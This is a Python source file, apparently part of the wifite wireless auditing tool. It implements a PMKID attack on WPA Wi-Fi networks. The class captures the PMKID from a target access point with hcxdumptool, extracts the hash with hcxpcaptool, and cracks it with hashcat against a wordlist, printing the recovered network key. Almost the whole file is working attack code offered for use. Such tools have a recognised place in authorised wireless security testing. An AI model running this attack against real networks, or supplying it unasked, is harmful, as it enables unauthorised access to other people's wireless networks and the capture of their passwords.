166 lines
5.3 KiB
Python
166 lines
5.3 KiB
Python
#!/usr/bin/env python
|
|
# -*- coding: utf-8 -*-
|
|
|
|
from ..model.attack import Attack
|
|
from ..config import Configuration
|
|
from ..util.color import Color
|
|
from ..util.process import Process
|
|
from ..util.timer import Timer
|
|
from ..model.pmkid_result import CrackResultPMKID
|
|
|
|
from threading import Thread
|
|
import os
|
|
import time
|
|
|
|
'''
|
|
TODO:
|
|
1. Rename AttackWPA to AttackWpaHandshake
|
|
2. Rename AttackWPS to AttackWpaPixie
|
|
3. Rename AttackPMKID to AttackWpaPMKID
|
|
4. Use AttackWPA to try any or all of the above depending on config/args.
|
|
Greatly simplifies the attack loop in wifite.py
|
|
Or consolidate all attacks under "Attack" which selects the correct attack based on the target.
|
|
Might be hard to capture KeyboardInterrupt, but we can always propagate it.
|
|
|
|
Could move a ton of stuff in wifite.py (display_cracked, check_handshake) to a 'util'
|
|
'''
|
|
class AttackPMKID(Attack):
|
|
def __init__(self, target):
|
|
super(AttackPMKID, self).__init__(target)
|
|
self.crack_result = None
|
|
self.success = False
|
|
self.pcapng_output = Configuration.temp('pmkid.pcapng')
|
|
self.pmkid_output = Configuration.temp('pmkid.16800')
|
|
|
|
def run(self):
|
|
# TODO: Check cracked.txt for previously-captured PMKID, skip to crack if found.
|
|
self.keep_capturing = True
|
|
self.timer = Timer(60)
|
|
|
|
# Start hcxdumptool
|
|
t = Thread(target=self.hcxdump_thread)
|
|
t.start()
|
|
|
|
# Regularly check hcxpcaptool output for hash for self.target.essid
|
|
pmkid_hash = None
|
|
while self.timer.remaining() > 0:
|
|
pmkid_hash = self.get_pmkid_hash()
|
|
if pmkid_hash is not None:
|
|
# Got PMKID
|
|
break
|
|
Color.pattack('PMKID', self.target, 'capture',
|
|
'Waiting for PMKID ({C}%s{W})' % str(self.timer))
|
|
time.sleep(1)
|
|
|
|
if pmkid_hash is not None:
|
|
Color.pattack('PMKID', self.target, str(self.timer), 'Captured PMKID, cracking...')
|
|
# When hash is found, start cracking
|
|
if self.crack_pmkid(pmkid_hash):
|
|
self.success = True
|
|
|
|
self.keep_capturing = False
|
|
|
|
return self.success
|
|
|
|
def crack_pmkid(self, pmkid_hash):
|
|
# Write hash to file
|
|
# TODO: Should we write this to ./hs/ with .pmkid suffix?
|
|
hash_file = Configuration.temp('pmkid.hash')
|
|
with open(hash_file, 'w') as f:
|
|
f.write(pmkid_hash)
|
|
f.write('\n')
|
|
|
|
# Run hashcat
|
|
command = [
|
|
'hashcat',
|
|
'--force',
|
|
'--quiet',
|
|
'-m', '16800',
|
|
'-a', '0', # TODO: Configure
|
|
'-w', '2', # TODO: Configure
|
|
hash_file,
|
|
Configuration.wordlist
|
|
]
|
|
|
|
# TODO: Check status of hashcat (%); it's impossible with --quiet
|
|
|
|
try:
|
|
hashcat_proc = Process(command)
|
|
hashcat_proc.wait()
|
|
stdout = hashcat_proc.stdout()
|
|
except KeyboardInterrupt: # In case user gets impatient
|
|
stdout = ''
|
|
|
|
if ':' not in stdout:
|
|
# Failed
|
|
Color.pattack('PMKID', self.target, '{R}failed', '{O}Failed to crack PMKID ')
|
|
Color.pl("")
|
|
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, None)
|
|
#self.crack_result.dump()
|
|
return False
|
|
else:
|
|
# Update Crack Result
|
|
key = stdout.strip().split(':', 1)[1]
|
|
Color.pl("\n\n{+} Cracked PMKID! Key: {G}%s{W}\n" % key)
|
|
self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_hash, key)
|
|
self.crack_result.dump()
|
|
return True
|
|
|
|
def get_pmkid_hash(self):
|
|
if os.path.exists(self.pmkid_output):
|
|
os.remove(self.pmkid_output)
|
|
|
|
command = [
|
|
'hcxpcaptool',
|
|
'-z', self.pmkid_output,
|
|
self.pcapng_output
|
|
]
|
|
hcxpcap_proc = Process(command)
|
|
hcxpcap_proc.wait()
|
|
|
|
if not os.path.exists(self.pmkid_output):
|
|
return None
|
|
|
|
with open(self.pmkid_output, 'r') as f:
|
|
output = f.read()
|
|
|
|
# Check that we got the right target
|
|
# pmkid_hash*bssid*station_mac*essid(hex)
|
|
for line in output.split('\n'):
|
|
fields = line.split('*')
|
|
if len(fields) < 3:
|
|
continue
|
|
if fields[1].lower() != self.target.bssid.lower().replace(':', ''):
|
|
continue
|
|
output = line
|
|
break
|
|
|
|
os.remove(self.pmkid_output)
|
|
return output
|
|
|
|
def hcxdump_thread(self):
|
|
# Create filterlist
|
|
filterlist = Configuration.temp('pmkid.filterlist')
|
|
with open(filterlist, 'w') as filter_file:
|
|
filter_file.write(self.target.bssid.replace(':', ''))
|
|
|
|
if os.path.exists(self.pcapng_output):
|
|
os.remove(self.pcapng_output)
|
|
|
|
command = [
|
|
"hcxdumptool",
|
|
"-i", Configuration.interface,
|
|
"--filterlist", filterlist,
|
|
"--filtermode", "2",
|
|
"-c", self.target.channel,
|
|
"-o", self.pcapng_output
|
|
]
|
|
|
|
hcxdump_proc = Process(command)
|
|
|
|
# Let the dump tool run until we have the hash.
|
|
while self.keep_capturing and hcxdump_proc.poll() == None:
|
|
time.sleep(0.5)
|
|
|
|
hcxdump_proc.interrupt()
|